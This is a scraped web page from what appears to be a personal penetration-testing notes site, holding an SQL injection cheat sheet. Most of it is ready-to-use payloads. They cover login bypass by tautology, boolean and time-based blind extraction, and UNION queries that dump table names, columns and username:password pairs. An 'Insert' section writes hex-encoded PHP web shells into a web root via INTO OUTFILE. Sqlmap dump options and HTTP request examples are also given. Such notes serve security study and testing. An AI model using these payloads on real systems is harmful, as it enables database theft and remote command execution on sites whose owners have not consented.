459 lines
60 KiB
HTML
459 lines
60 KiB
HTML
|
<!doctype html>
|
||
|
<html lang="en">
|
||
|
<center>
|
||
|
<head>
|
||
|
|
||
|
|
||
|
<script src="https://cdn.jsdelivr.net/npm/fuse.js/dist/fuse.js"></script>
|
||
|
<!-- mathjax -->
|
||
|
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
|
||
|
<script type="text/javascript" src="/static/js/auto-complete.js"></script>
|
||
|
<script type="text/javascript" src="/static/js/lunr.min.js"></script>
|
||
|
<script type="text/javascript" src="/static/js/search.js"></script>
|
||
|
<link rel="stylesheet" href="/static/stylesheet.css">
|
||
|
<link rel="stylesheet" href="/static/auto-complete.css">
|
||
|
<br>
|
||
|
<title>In the Open</title>
|
||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||
|
|
||
|
|
||
|
</head>
|
||
|
<body>
|
||
|
<!-- topmenu -->
|
||
|
<div class="menu">
|
||
|
<a href="/" style="text-decoration:none">In the Open</a>
|
||
|
</div>
|
||
|
<div class="search-container">
|
||
|
<label for="search-by"><i class="fas fa-search"></i></label>
|
||
|
<input data-search-input="" id="search-by" type="search" placeholder="Search..." autocomplete="off">
|
||
|
<!--button type="submit"><i class="search"></i>🔍</button>-->
|
||
|
<span data-search-clear=""><i class="fas fa-times"></i></span>
|
||
|
</div>
|
||
|
|
||
|
</div>
|
||
|
<div class="menu">
|
||
|
</div>
|
||
|
<!--br><br-->
|
||
|
</center>
|
||
|
<p></p>
|
||
|
<div class="columns">
|
||
|
<!-- Sidebar -->
|
||
|
<div class="column column-1">
|
||
|
<ul><details id=crypto ontoggle="linkClick(this); return false;" ><summary>Crypto</summary><ul><details id=openssl ontoggle="linkClick(this); return false;" ><summary>Openssl</summary><ul><li><a href="/crypto/openssl/openssl.html">openssl</a></li><li><a href="/crypto/openssl/openssl_engine.html">openssl_engine</a></li></ul></details><li><a href="/crypto/rsa.html">rsa</a></li></ul></details><details id=enumeration ontoggle="linkClick(this); return false;" ><summary>Enumeration</summary><ul><details id=containers ontoggle="linkClick(this); return false;" ><summary>Containers</summary><ul></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/enumeration/docs/aws.html">aws</a></li><li><a href="/enumeration/docs/cewl.html">cewl</a></li><li><a href="/enumeration/docs/dns.html">dns</a></li><li><a href="/enumeration/docs/docker_enumeration.html">docker_enumeration</a></li><li><a href="/enumeration/docs/ffuf.html">ffuf</a></li><li><a href="/enumeration/docs/gobuster.html">gobuster</a></li><li><a href="/enumeration/docs/kerberoast.html">kerberoast</a></li><li><a href="/enumeration/docs/kubectl.html">kubectl</a></li><li><a href="/enumeration/docs/ldap.html">ldap</a></li><li><a href="/enumeration/docs/linux_basics.html">linux_basics</a></li><li><a href="/enumeration/docs/microk8s.html">microk8s</a></li><li><a href="/enumeration/docs/nfs.html">nfs</a></li><li><a href="/enumeration/docs/nikto.html">nikto</a></li><li><a href="/enumeration/docs/nmap.html">nmap</a></li><li><a href="/enumeration/docs/port_knocking.html">port_knocking</a></li><li><a href="/enumeration/docs/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/docs/rsync.html">rsync</a></li><li><a href="/enumeration/docs/rustscan.html">rustscan</a></li><li><a href="/enumeration/docs/shodan.html">shodan</a></li><details id=snmp ontoggle="linkClick(this); return false;" ><summary>Snmp</summary><ul><li><a href="/enumeration/docs/snmp/onesixtyone.html">onesixtyone</a></li><li><a href="/enumeration/docs/snmp/snmpcheck.html">snmpcheck</a></li></ul></details><li><a href="/enumeration/docs/websites.html">websites</a></li><li><a href="/enumeration/docs/wfuzz.html">wfuzz</a></li><li><a href="/enumeration/docs/wpscan.html">wpscan</a></li></ul></details><details id=network_scanners ontoggle="linkClick(this); return false;" ><summary>Network_scanners</summary><ul></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/enumeration/windows/bloodhound.html">bloodhound</a></li><li><a href="/enumeration/windows/event_log.html">event_log</a></li><li><a href="/enumeration/windows/manual_enum.html">manual_enum</a></li><li><a href="/enumeration/windows/powershell.html">powershell</a></li><li><a href="/enumeration/windows/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/windows/sysinternals.html">sysinternals</a></li><li><a href="/enumeration/windows/sysmon.html">sysmon</a></li><li><a href="/enumeration/windows/vss.html">vss</a></li></ul></details></ul></details><details id=exfiltration ontoggle="linkClick(this); return false;" ><summary>Exfiltration</summary><ul><details id=dns ontoggle="linkClick(this); return false;" ><summary>Dns</summary><ul><li><a href="/exfiltration/dns/dns.html">dns</a></li></ul></details><details id=linux ontoggle="linkClick(this); return false;" ><summary>Linux</summary><ul><li><a href="/exfiltration/linux/nc.html">nc</a></li><li><a href="/exfiltration/linux/wget.html">wget</a></li></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/exfiltration/windows/evil-winrm.html">evil-winrm</a></li><li><a href="/exfiltration/windows/loot.html">loot</a></li><li><a href="/exfiltration/windows/smb_connection.html">smb_connection</a></li></ul></details></ul></details><details id=exploit ontoggle="linkClick(this); return false;" ><summary>Exploit</summary><ul><details id=CPUs ontoggle="linkClick(this); return false;" ><summary>CPUs</summary><ul><li><a href="/exploit/CPUs
|
||
|
</ul>
|
||
|
</div>
|
||
|
<div class="column column-2">
|
||
|
<span class="body">
|
||
|
<style>pre { line-height: 125%; }
|
||
|
td.linenos .normal { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
|
||
|
span.linenos { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
|
||
|
td.linenos .special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
|
||
|
span.linenos.special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
|
||
|
.codehilite .hll { background-color: #2C3B41 }
|
||
|
.codehilite .c { color: #546E7A; font-style: italic } /* Comment */
|
||
|
.codehilite .err { color: #FF5370 } /* Error */
|
||
|
.codehilite .esc { color: #89DDFF } /* Escape */
|
||
|
.codehilite .g { color: #EEFFFF } /* Generic */
|
||
|
.codehilite .k { color: #BB80B3 } /* Keyword */
|
||
|
.codehilite .l { color: #C3E88D } /* Literal */
|
||
|
.codehilite .n { color: #EEFFFF } /* Name */
|
||
|
.codehilite .o { color: #89DDFF } /* Operator */
|
||
|
.codehilite .p { color: #89DDFF } /* Punctuation */
|
||
|
.codehilite .ch { color: #546E7A; font-style: italic } /* Comment.Hashbang */
|
||
|
.codehilite .cm { color: #546E7A; font-style: italic } /* Comment.Multiline */
|
||
|
.codehilite .cp { color: #546E7A; font-style: italic } /* Comment.Preproc */
|
||
|
.codehilite .cpf { color: #546E7A; font-style: italic } /* Comment.PreprocFile */
|
||
|
.codehilite .c1 { color: #546E7A; font-style: italic } /* Comment.Single */
|
||
|
.codehilite .cs { color: #546E7A; font-style: italic } /* Comment.Special */
|
||
|
.codehilite .gd { color: #FF5370 } /* Generic.Deleted */
|
||
|
.codehilite .ge { color: #89DDFF } /* Generic.Emph */
|
||
|
.codehilite .gr { color: #FF5370 } /* Generic.Error */
|
||
|
.codehilite .gh { color: #C3E88D } /* Generic.Heading */
|
||
|
.codehilite .gi { color: #C3E88D } /* Generic.Inserted */
|
||
|
.codehilite .go { color: #546E7A } /* Generic.Output */
|
||
|
.codehilite .gp { color: #FFCB6B } /* Generic.Prompt */
|
||
|
.codehilite .gs { color: #FF5370 } /* Generic.Strong */
|
||
|
.codehilite .gu { color: #89DDFF } /* Generic.Subheading */
|
||
|
.codehilite .gt { color: #FF5370 } /* Generic.Traceback */
|
||
|
.codehilite .kc { color: #89DDFF } /* Keyword.Constant */
|
||
|
.codehilite .kd { color: #BB80B3 } /* Keyword.Declaration */
|
||
|
.codehilite .kn { color: #89DDFF; font-style: italic } /* Keyword.Namespace */
|
||
|
.codehilite .kp { color: #89DDFF } /* Keyword.Pseudo */
|
||
|
.codehilite .kr { color: #BB80B3 } /* Keyword.Reserved */
|
||
|
.codehilite .kt { color: #BB80B3 } /* Keyword.Type */
|
||
|
.codehilite .ld { color: #C3E88D } /* Literal.Date */
|
||
|
.codehilite .m { color: #F78C6C } /* Literal.Number */
|
||
|
.codehilite .s { color: #C3E88D } /* Literal.String */
|
||
|
.codehilite .na { color: #BB80B3 } /* Name.Attribute */
|
||
|
.codehilite .nb { color: #82AAFF } /* Name.Builtin */
|
||
|
.codehilite .nc { color: #FFCB6B } /* Name.Class */
|
||
|
.codehilite .no { color: #EEFFFF } /* Name.Constant */
|
||
|
.codehilite .nd { color: #82AAFF } /* Name.Decorator */
|
||
|
.codehilite .ni { color: #89DDFF } /* Name.Entity */
|
||
|
.codehilite .ne { color: #FFCB6B } /* Name.Exception */
|
||
|
.codehilite .nf { color: #82AAFF } /* Name.Function */
|
||
|
.codehilite .nl { color: #82AAFF } /* Name.Label */
|
||
|
.codehilite .nn { color: #FFCB6B } /* Name.Namespace */
|
||
|
.codehilite .nx { color: #EEFFFF } /* Name.Other */
|
||
|
.codehilite .py { color: #FFCB6B } /* Name.Property */
|
||
|
.codehilite .nt { color: #FF5370 } /* Name.Tag */
|
||
|
.codehilite .nv { color: #89DDFF } /* Name.Variable */
|
||
|
.codehilite .ow { color: #89DDFF; font-style: italic } /* Operator.Word */
|
||
|
.codehilite .w { color: #EEFFFF } /* Text.Whitespace */
|
||
|
.codehilite .mb { color: #F78C6C } /* Literal.Number.Bin */
|
||
|
.codehilite .mf { color: #F78C6C } /* Literal.Number.Float */
|
||
|
.codehilite .mh { color: #F78C6C } /* Literal.Number.Hex */
|
||
|
.codehilite .mi { color: #F78C6C } /* Literal.Number.Integer */
|
||
|
.codehilite .mo { color: #F78C6C } /* Literal.Number.Oct */
|
||
|
.codehilite .sa { color: #BB80B3 } /* Literal.String.Affix */
|
||
|
.codehilite .sb { color: #C3E88D } /* Literal.String.Backtick */
|
||
|
.codehilite .sc { color: #C3E88D } /* Literal.String.Char */
|
||
|
.codehilite .dl { color: #EEFFFF } /* Literal.String.Delimiter */
|
||
|
.codehilite .sd { color: #546E7A; font-style: italic } /* Literal.String.Doc */
|
||
|
.codehilite .s2 { color: #C3E88D } /* Literal.String.Double */
|
||
|
.codehilite .se { color: #EEFFFF } /* Literal.String.Escape */
|
||
|
.codehilite .sh { color: #C3E88D } /* Literal.String.Heredoc */
|
||
|
.codehilite .si { color: #89DDFF } /* Literal.String.Interpol */
|
||
|
.codehilite .sx { color: #C3E88D } /* Literal.String.Other */
|
||
|
.codehilite .sr { color: #89DDFF } /* Literal.String.Regex */
|
||
|
.codehilite .s1 { color: #C3E88D } /* Literal.String.Single */
|
||
|
.codehilite .ss { color: #89DDFF } /* Literal.String.Symbol */
|
||
|
.codehilite .bp { color: #89DDFF } /* Name.Builtin.Pseudo */
|
||
|
.codehilite .fm { color: #82AAFF } /* Name.Function.Magic */
|
||
|
.codehilite .vc { color: #89DDFF } /* Name.Variable.Class */
|
||
|
.codehilite .vg { color: #89DDFF } /* Name.Variable.Global */
|
||
|
.codehilite .vi { color: #89DDFF } /* Name.Variable.Instance */
|
||
|
.codehilite .vm { color: #82AAFF } /* Name.Variable.Magic */
|
||
|
.codehilite .il { color: #F78C6C } /* Literal.Number.Integer.Long */</style>
|
||
|
<div class="column column-3">
|
||
|
<ul>
|
||
|
<li><a href="#sql-injection">SQL Injection</a><ul>
|
||
|
<li><a href="#finding-an-opportunity">Finding an Opportunity</a></li>
|
||
|
<li><a href="#usage">Usage</a><ul>
|
||
|
<li><a href="#boolean-true-and-false">Boolean True and False</a></li>
|
||
|
<li><a href="#time-based">Time based</a></li>
|
||
|
<li><a href="#blind-injection-guessing-characters">Blind injection // Guessing characters</a></li>
|
||
|
<li><a href="#union-based">Union based</a></li>
|
||
|
<li><a href="#identify-database">Identify Database</a><ul>
|
||
|
<li><a href="#sql-functions">SQL Functions</a></li>
|
||
|
</ul>
|
||
|
</li>
|
||
|
</ul>
|
||
|
</li>
|
||
|
<li><a href="#insert">Insert</a><ul>
|
||
|
<li><a href="#examples">Examples</a></li>
|
||
|
</ul>
|
||
|
</li>
|
||
|
<li><a href="#payloads">Payloads</a></li>
|
||
|
</ul>
|
||
|
</li>
|
||
|
</ul>
|
||
|
</div>
|
||
|
<h1 id="sql-injection">SQL Injection</h1>
|
||
|
<ul>
|
||
|
<li><a href="https://blog.raw.pm/en/sql-injection-mysql-comment/">MySQL Comments</a></li>
|
||
|
</ul>
|
||
|
<h2 id="finding-an-opportunity">Finding an Opportunity</h2>
|
||
|
<ul>
|
||
|
<li>GET parameter</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>http://example.com/index.php?id<span class="o">=</span><span class="err">'</span> or <span class="nv">1</span><span class="o">=</span><span class="m">1</span> -- -
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Sometimes an ID or may come first</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>http://example.com/index.php?id<span class="o">=</span><span class="m">10</span> or <span class="nv">1</span><span class="o">=</span><span class="m">1</span> -- +
|
||
|
http://example.com/index.php?id<span class="o">=</span><span class="m">10</span><span class="s1">' or '</span><span class="m">1</span><span class="s1">'='</span><span class="m">1</span><span class="s1">'-- -</span>
|
||
|
<span class="s1">http://example.com/index.php?id=-1'</span> or <span class="nv">1</span><span class="o">=</span><span class="m">1</span> -- -<span class="p">&</span><span class="nv">password</span><span class="o">=</span>x
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Provoke error to gain information</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>http://example.com/index.php?id<span class="o">=</span><span class="err">'</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li><strong>Incase of client side sanitization craft the URL instead of using the form!!!</strong></li>
|
||
|
</ul>
|
||
|
<h2 id="usage">Usage</h2>
|
||
|
<ul>
|
||
|
<li>Example, terminate string via <code>'</code> and resolve via tautology, comment the rest of the string via <code>--</code></li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">admin</span><span class="w"> </span><span class="k">AND</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="p">:</span><span class="o">=</span><span class="w"> </span><span class="s1">' and 1=1 -- -</span>
|
||
|
<span class="s1">SELECT * FROM users WHERE username = admin AND password := '</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="c1">--+</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<h3 id="boolean-true-and-false">Boolean True and False</h3>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">admin</span><span class="w"> </span><span class="k">AND</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="p">:</span><span class="o">=</span><span class="mi">1</span><span class="s1">' or 1 < 2 --+</span>
|
||
|
<span class="s1">SELECT * FROM users WHERE username = admin AND password :=1'</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="c1">--+</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Blind boolean base substring fuzzing, one char at a time, by inspecting the return value after each inserted char.</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="s1">' UNION SELECT null,null,null where database() like '</span><span class="n">da</span><span class="o">%</span><span class="err">'</span><span class="p">;</span><span class="c1">-- -</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<h3 id="time-based">Time based</h3>
|
||
|
<ul>
|
||
|
<li>Checking input blindly via sleep() function. Count number of cols in this way. If it is successful, the sleep(5) function executes</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="err">'</span><span class="w"> </span><span class="k">union</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="n">sleep</span><span class="p">(</span><span class="mi">3</span><span class="p">),</span><span class="w"> </span><span class="k">null</span><span class="p">;</span><span class="w"> </span><span class="c1">-- -</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<h3 id="blind-injection-guessing-characters">Blind injection // Guessing characters</h3>
|
||
|
<div class="codehilite"><pre><span></span><code>http://example.com/?id<span class="o">=</span><span class="m">1</span><span class="err">'</span> and substr<span class="o">((</span><span class="k">select</span> database<span class="o">())</span>,1,1<span class="o">)</span> < <span class="m">105</span> --+
|
||
|
</code></pre></div>
|
||
|
|
||
|
<div class="codehilite"><pre><span></span><code>http://example.com/?id<span class="o">=</span><span class="m">1</span><span class="err">'</span> and <span class="o">(</span>ascii<span class="o">(</span>substr<span class="o">((</span><span class="k">select</span> database<span class="o">()</span>,1,1<span class="o">))</span> <span class="o">=</span> <span class="m">115</span> --+
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Function substr(string, start, length)</li>
|
||
|
<li>sqlmap via <code>--level=5 --risk=3 --dbms=sqlite --technique=b --dump</code> </li>
|
||
|
</ul>
|
||
|
<h3 id="union-based">Union based</h3>
|
||
|
<ul>
|
||
|
<li>_First method__ check by order until error occurs</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="s1">' order by 1 -- -</span>
|
||
|
<span class="s1">'</span><span class="w"> </span><span class="k">order</span><span class="w"> </span><span class="k">by</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="c1">-- -</span>
|
||
|
<span class="err">'</span><span class="w"> </span><span class="k">order</span><span class="w"> </span><span class="k">by</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="c1">-- -</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li><strong>Second method</strong> fuzzing NULL values, followed by fuzzing data types</li>
|
||
|
<li>Check number of cols</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="s1">' UNION SELECT NULL--</span>
|
||
|
<span class="s1">'</span><span class="w"> </span><span class="k">UNION</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="k">NULL</span><span class="p">,</span><span class="k">NULL</span><span class="c1">--</span>
|
||
|
<span class="err">'</span><span class="w"> </span><span class="k">UNION</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="k">NULL</span><span class="p">,</span><span class="k">NULL</span><span class="p">,</span><span class="k">NULL</span><span class="c1">--</span>
|
||
|
<span class="o">#</span><span class="w"> </span><span class="k">until</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">error</span><span class="w"> </span><span class="n">occurs</span><span class="w"></span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Check which one is a string</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="s1">' UNION SELECT '</span><span class="n">a</span><span class="s1">',NULL,NULL,NULL--</span>
|
||
|
<span class="s1">'</span><span class="w"> </span><span class="k">UNION</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="k">NULL</span><span class="p">,</span><span class="s1">'a'</span><span class="p">,</span><span class="k">NULL</span><span class="p">,</span><span class="k">NULL</span><span class="c1">--</span>
|
||
|
<span class="s1">' UNION SELECT NULL,NULL,'</span><span class="n">a</span><span class="s1">',NULL--</span>
|
||
|
<span class="s1">'</span><span class="w"> </span><span class="k">UNION</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="k">NULL</span><span class="p">,</span><span class="k">NULL</span><span class="p">,</span><span class="k">NULL</span><span class="p">,</span><span class="s1">'a'</span><span class="c1">--</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Retrieve content, for cols and comment two times as an example. Or dump database</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="s1">' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- //</span>
|
||
|
<span class="s1">'</span><span class="w"> </span><span class="k">UNION</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="k">NULL</span><span class="p">,</span><span class="n">username</span><span class="p">,</span><span class="n">password</span><span class="p">,</span><span class="k">NULL</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="c1">-- //</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Retrieve content by union poking the count and order, afterwards extracting tables via</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="m">0</span> union <span class="k">select</span> null, null, database<span class="o">()</span>
|
||
|
<span class="m">0</span> union <span class="k">select</span> null, null, group_concat<span class="o">(</span>table_name<span class="o">)</span> from information_schema.tables where <span class="nv">table_schema</span> <span class="o">=</span> <span class="s1">'found_db'</span>
|
||
|
<span class="m">0</span> union <span class="k">select</span> null, null, group_concat<span class="o">(</span>column_name<span class="o">)</span> from information_schema.columns where <span class="nv">table_name</span> <span class="o">=</span> <span class="s1">'found_tablename'</span>
|
||
|
<span class="m">0</span> union <span class="k">select</span> null, null, group_concat<span class="o">(</span>username, <span class="s1">':'</span>, password from found_tablename
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li><a href="https://www.owasp.org/index.php/SQL_Injection">OWASP SQLi Docs</a></li>
|
||
|
</ul>
|
||
|
<h3 id="identify-database">Identify Database</h3>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="nv">id</span><span class="o">=</span>sqlite_version<span class="o">()</span>
|
||
|
<span class="nv">id</span><span class="o">=</span>@@version <span class="c1"># mysql/mssql</span>
|
||
|
<span class="nv">id</span><span class="o">=(</span>SELECT banner FROM v<span class="nv">$version</span><span class="o">)</span> <span class="c1"># oracle</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<h4 id="sql-functions">SQL Functions</h4>
|
||
|
<ul>
|
||
|
<li>Use sql functions to fumble the tables & cols via union</li>
|
||
|
<li><a href="https://medium.com/@nyomanpradipta120/sql-injection-union-attack-9c10de1a5635">source</a></li>
|
||
|
<li>Extract tables </li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="mi">1</span><span class="err">'</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">2</span><span class="w"> </span><span class="k">union</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="n">group_concat</span><span class="p">(</span><span class="k">table_name</span><span class="p">),</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">information_schema</span><span class="p">.</span><span class="n">tables</span><span class="w"> </span><span class="k">where</span><span class="w"> </span><span class="n">table_schema</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">database</span><span class="p">()</span><span class="w"> </span><span class="c1">-- -</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>sqlite specific</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="err">'</span><span class="w"> </span><span class="k">UNION</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="k">sql</span><span class="p">,</span><span class="w"> </span><span class="k">sql</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">sqlite_master</span><span class="w"> </span><span class="c1">-- -</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<div class="codehilite"><pre><span></span><code><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="k">sql</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">sqlite_master</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="k">type</span><span class="o">!=</span><span class="s1">'meta'</span><span class="w"> </span><span class="k">AND</span><span class="w"> </span><span class="k">sql</span><span class="w"> </span><span class="k">NOT</span><span class="w"> </span><span class="k">NULL</span><span class="w"> </span><span class="k">AND</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="o">=</span><span class="s1">'usertable'</span><span class="p">)</span><span class="w"></span>
|
||
|
<span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="n">group_concat</span><span class="p">(</span><span class="n">tbl_name</span><span class="p">)</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">sqlite_master</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="k">type</span><span class="o">=</span><span class="s1">'table'</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="n">tbl_name</span><span class="w"> </span><span class="k">NOT</span><span class="w"> </span><span class="k">like</span><span class="w"> </span><span class="s1">'sqlite_%'</span><span class="p">)</span><span class="w"></span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Extract cols</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="m">1</span><span class="s1">' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='</span>user<span class="err">'</span>-- -
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Data from cols</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="mi">1</span><span class="err">'</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">2</span><span class="w"> </span><span class="k">union</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="n">group_concat</span><span class="p">(</span><span class="n">username</span><span class="p">,</span><span class="mi">0</span><span class="n">x3a</span><span class="p">,</span><span class="n">password</span><span class="p">),</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="k">user</span><span class="c1">-- -</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<h2 id="insert">Insert</h2>
|
||
|
<ul>
|
||
|
<li>Check user file permissions</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="k">union</span><span class="w"> </span><span class="k">all</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="n">group_concat</span><span class="p">(</span><span class="k">user</span><span class="p">,</span><span class="mi">0</span><span class="n">x3a</span><span class="p">,</span><span class="n">file_priv</span><span class="p">),</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">mysql</span><span class="p">.</span><span class="k">user</span><span class="w"> </span><span class="c1">-- -</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Insert file through insertion of <code>system()</code> or <code>exec_shell()</code> and a get parameter</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="o"><</span><span class="n">cookieID</span><span class="o">></span><span class="s1">'into outfile '</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">www</span><span class="o">/</span><span class="n">html</span><span class="o">/</span><span class="n">shello</span><span class="p">.</span><span class="n">php</span><span class="err">'</span><span class="w"> </span><span class="n">lines</span><span class="w"> </span><span class="n">terminated</span><span class="w"> </span><span class="k">by</span><span class="w"> </span><span class="mi">0</span><span class="n">x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e</span><span class="w"> </span><span class="c1">-- -</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Insert <code><?php system($_GET["cmd"]); ?></code> </li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="err">"</span><span class="w"> </span><span class="k">Union</span><span class="w"> </span><span class="k">Select</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="n">x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="w"> </span><span class="k">INTO</span><span class="w"> </span><span class="n">OUTFILE</span><span class="w"> </span><span class="s1">'/var/www/html/shell.php'</span><span class="w"> </span><span class="c1">-- -</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<h3 id="examples">Examples</h3>
|
||
|
<ul>
|
||
|
<li>sqli inside HTTP request to an API. Five values inside select have been discovered before</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="err">GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<div class="codehilite"><pre><span></span><code>* Get col names
|
||
|
```HTTP
|
||
|
GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
|
||
|
```
|
||
|
* Get notes from users by id
|
||
|
```HTTP
|
||
|
GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
|
||
|
```
|
||
|
</code></pre></div>
|
||
|
|
||
|
<h2 id="payloads">Payloads</h2>
|
||
|
<ul>
|
||
|
<li><a href="https://github.com/payloadbox/sql-injection-payload-list#generic-sql-injection-payloads">List</a></li>
|
||
|
</ul>
|
||
|
</span>
|
||
|
</div>
